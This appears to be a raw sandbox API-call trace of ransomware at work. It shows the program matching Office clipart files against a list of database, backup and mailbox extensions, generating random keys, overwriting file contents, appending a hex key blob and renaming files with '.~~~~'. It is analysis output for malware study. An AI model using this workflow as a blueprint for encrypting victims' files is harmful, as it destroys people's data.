	[0108.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".BDB") returned 0x0
	[0108.890] lstrlenW (lpString=".eql") returned 4
	[0108.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".eql") returned 0x0
	[0108.890] lstrlenW (lpString=".DBF") returned 4
	[0108.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".DBF") returned 0x0
	[0108.890] lstrlenW (lpString=".EQL") returned 4
	[0108.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".EQL") returned 0x0
	[0108.890] lstrlenW (lpString=".FDB") returned 4
	[0108.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".FDB") returned 0x0
	[0108.890] lstrlenW (lpString=".EDB") returned 4
	[0108.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".EDB") returned 0x0
	[0108.890] lstrlenW (lpString=".DACPAC") returned 7
	[0108.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".DACPAC") returned 0x0
	[0108.891] lstrlenW (lpString=".VHD") returned 4
	[0108.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".VHD") returned 0x0
	[0108.891] lstrlenW (lpString=".DBV") returned 4
	[0108.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".DBV") returned 0x0
	[0108.891] lstrlenW (lpString=".dacpac") returned 7
	[0108.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".dacpac") returned 0x0
	[0108.891] lstrlenW (lpString=".sdf") returned 4
	[0108.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".sdf") returned 0x0
	[0108.891] lstrlenW (lpString=".accdb") returned 6
	[0108.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".accdb") returned 0x0
	[0108.891] lstrlenW (lpString=".DBX") returned 4
	[0108.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".DBX") returned 0x0
	[0108.891] lstrlenW (lpString=".MDT") returned 4
	[0108.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".MDT") returned 0x0
	[0108.891] lstrlenW (lpString=".SQB") returned 4
	[0108.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".SQB") returned 0x0
	[0108.891] lstrlenW (lpString=".vhd") returned 4
	[0108.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".vhd") returned 0x0
	[0108.892] lstrlenW (lpString=".bac") returned 4
	[0108.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".bac") returned 0x0
	[0108.892] lstrlenW (lpString=".mdf") returned 4
	[0108.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".mdf") returned 0x0
	[0108.892] lstrlenW (lpString=".BAK") returned 4
	[0108.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".BAK") returned 0x0
	[0108.892] lstrlenW (lpString=".BAC") returned 4
	[0108.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".BAC") returned 0x0
	[0108.892] lstrlenW (lpString=".dbs") returned 4
	[0108.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".dbs") returned 0x0
	[0108.892] lstrlenW (lpString=".vhdx") returned 5
	[0108.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".vhdx") returned 0x0
	[0108.892] lstrlenW (lpString=".NDF") returned 4
	[0108.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".NDF") returned 0x0
	[0108.892] lstrlenW (lpString=".dat") returned 4
	[0108.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".dat") returned 0x0
	[0108.892] lstrlenW (lpString=".DBS") returned 4
	[0108.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".DBS") returned 0x0
	[0108.892] lstrlenW (lpString=".CKP") returned 4
	[0108.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".CKP") returned 0x0
	[0108.893] lstrlenW (lpString=".edb") returned 4
	[0108.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".edb") returned 0x0
	[0108.893] lstrlenW (lpString=".PST") returned 4
	[0108.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".PST") returned 0x0
	[0108.893] lstrlenW (lpString=".dbf") returned 4
	[0108.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".dbf") returned 0x0
	[0108.893] lstrlenW (lpString=".SQL") returned 4
	[0108.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".SQL") returned 0x0
	[0108.893] lstrlenW (lpString=".pst") returned 4
	[0108.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".pst") returned 0x0
	[0108.893] lstrlenW (lpString=".dbv") returned 4
	[0108.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".dbv") returned 0x0
	[0108.893] lstrlenW (lpString=".SDF") returned 4
	[0108.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".SDF") returned 0x0
	[0108.893] lstrlenW (lpString=".dtxs") returned 5
	[0108.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".dtxs") returned 0x0
	[0108.893] lstrlenW (lpString=".db3") returned 4
	[0108.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".db3") returned 0x0
	[0108.893] lstrlenW (lpString=".OST") returned 4
	[0108.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".OST") returned 0x0
	[0108.894] lstrlenW (lpString=".dbx") returned 4
	[0108.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".dbx") returned 0x0
	[0108.894] lstrlenW (lpString=".DB3") returned 4
	[0108.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".DB3") returned 0x0
	[0108.894] lstrlenW (lpString=".DAT") returned 4
	[0108.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".DAT") returned 0x0
	[0108.894] lstrlenW (lpString=".VHDX") returned 5
	[0108.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".VHDX") returned 0x0
	[0108.894] lstrlenW (lpString=".ndf") returned 4
	[0108.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".ndf") returned 0x0
	[0108.894] lstrlenW (lpString=".DB") returned 3
	[0108.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".DB") returned 0x0
	[0108.894] lstrlenW (lpString=".sql") returned 4
	[0108.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".sql") returned 0x0
	[0108.894] lstrlenW (lpString=".MYD") returned 4
	[0108.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".MYD") returned 0x0
	[0108.894] lstrlenW (lpString=".DBT") returned 4
	[0108.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".DBT") returned 0x0
	[0108.895] lstrlenW (lpString=".ACCDB") returned 6
	[0108.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".ACCDB") returned 0x0
	[0108.895] lstrlenW (lpString=".fdb") returned 4
	[0108.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".fdb") returned 0x0
	[0108.895] lstrlenW (lpString=".bak") returned 4
	[0108.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".bak") returned 0x0
	[0108.895] lstrlenW (lpString=".myd") returned 4
	[0108.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".myd") returned 0x0
	[0108.895] lstrlenW (lpString=".DTXS") returned 5
	[0108.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".DTXS") returned 0x0
	[0108.895] lstrlenW (lpString=".ckp") returned 4
	[0108.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".ckp") returned 0x0
	[0108.895] lstrlenW (lpString=".dbt") returned 4
	[0108.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".dbt") returned 0x0
	[0108.895] lstrlenW (lpString=".db") returned 3
	[0108.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".db") returned 0x0
	[0108.896] lstrlenW (lpString=".TXT") returned 4
	[0108.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".TXT") returned 0x0
	[0108.896] lstrlenW (lpString=".MDF") returned 4
	[0108.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".MDF") returned 0x0
	[0108.896] lstrlenW (lpString=".bdb") returned 4
	[0108.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".bdb") returned 0x0
	[0108.896] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0108.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0108.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0108.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x363058
	[0108.897] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942208) returned 1
	[0108.898] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.898] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0108.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0108.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0108.898] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22888844511) returned 1
	[0108.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaa917ef0, dwHighDateTime=0x1d60e1e)) 
	[0108.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0108.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0108.899] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0108.899] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808170
	[0108.899] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.899] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808170 | out: hHeap=0x300000) returned 1
	[0108.899] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.899] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.899] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a4ea0
	[0108.899] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.899] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282a560
	[0108.899] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a4ea0 | out: hHeap=0x300000) returned 1
	[0108.899] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0108.899] GetLastError () returned 0x0
	[0108.900] GetLastError () returned 0x0
	[0108.900] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0108.900] GetLastError () returned 0x0
	[0108.900] GetLastError () returned 0x0
	[0108.943] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffdf36, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.943] WriteFile (in: hFile=0x130, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x20ca, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x24dfec0*=0x20ca, lpOverlapped=0x0) returned 1
	[0108.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0108.947] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.947] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.948] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.948] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.948] CloseHandle (hObject=0x130) returned 1
	[0108.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5488
	[0108.949] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00389_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00389_.wmf.~~~~")) returned 1
	[0108.950] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5488 | out: hHeap=0x300000) returned 1
	[0108.950] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0108.951] GetLastError () returned 0x0
	[0108.951] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942208) returned 1
	[0108.953] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.953] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0108.953] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0108.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0108.953] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22894337247) returned 1
	[0108.953] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaa98a310, dwHighDateTime=0x1d60e1e)) 
	[0108.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0108.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0108.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0108.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28086e8
	[0108.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28086e8 | out: hHeap=0x300000) returned 1
	[0108.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5488
	[0108.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282a5f8
	[0108.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5488 | out: hHeap=0x300000) returned 1
	[0108.954] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0108.954] GetLastError () returned 0x0
	[0108.955] GetLastError () returned 0x0
	[0108.955] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0108.955] GetLastError () returned 0x0
	[0108.955] GetLastError () returned 0x0
	[0108.981] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffe6b6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.981] WriteFile (in: hFile=0x130, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x194a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x24dfec0*=0x194a, lpOverlapped=0x0) returned 1
	[0108.983] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0108.983] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.983] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.983] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.983] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.983] CloseHandle (hObject=0x130) returned 1
	[0108.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.983] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00395_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00395_.wmf.~~~~")) returned 1
	[0108.985] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.985] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0108.985] GetLastError () returned 0x0
	[0108.985] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942208) returned 1
	[0108.986] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.986] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0108.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0108.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0108.986] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22897643456) returned 1
	[0108.986] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaa9d65d0, dwHighDateTime=0x1d60e1e)) 
	[0108.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0108.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0108.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0108.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808790
	[0108.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.987] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808790 | out: hHeap=0x300000) returned 1
	[0108.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.987] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.987] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282a858
	[0108.987] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.987] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0108.987] GetLastError () returned 0x0
	[0108.988] GetLastError () returned 0x0
	[0108.988] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0108.988] GetLastError () returned 0x0
	[0108.988] GetLastError () returned 0x0
	[0109.070] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffb96a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.070] WriteFile (in: hFile=0x130, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x4696, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x24dfec0*=0x4696, lpOverlapped=0x0) returned 1
	[0109.072] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0109.073] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.073] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
